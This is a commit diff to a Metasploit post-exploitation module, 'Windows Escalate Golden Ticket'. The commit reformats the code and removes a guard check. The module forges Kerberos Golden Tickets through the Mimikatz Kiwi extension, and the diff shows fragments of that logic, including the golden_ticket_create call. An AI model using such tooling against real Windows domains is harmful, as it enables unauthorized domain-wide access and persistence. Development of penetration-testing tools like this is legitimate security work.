Reformat, remove unnecessary guard statement

bug/bundler_fix
Meatballs 2014-12-13 21:06:55 +00:00
parent 0e976041b7
commit 9670608380
1 changed files with 21 additions and 24 deletions

View File

@ -10,7 +10,8 @@ class Metasploit3 < Msf::Post
include Msf::Post::Windows::Error
def initialize(info = {})
super(update_info(info,
super(update_info(
info,
'Name' => 'Windows Escalate Golden Ticket',
'Description' => %q{
This module will create a Golden Kerberos Ticket using the Mimikatz Kiwi Extension. If no
@ -102,10 +103,6 @@ class Metasploit3 < Msf::Post
end
end
unless user && domain && domain_sid && krbtgt_hash
fail_with(Failure::Unknown, 'Not all requirements obtained')
end
print_status("Creating Golden Ticket for #{domain}\\#{user}...")
ticket = client.kiwi.golden_ticket_create(user, domain, domain_sid, krbtgt_hash, id, groups)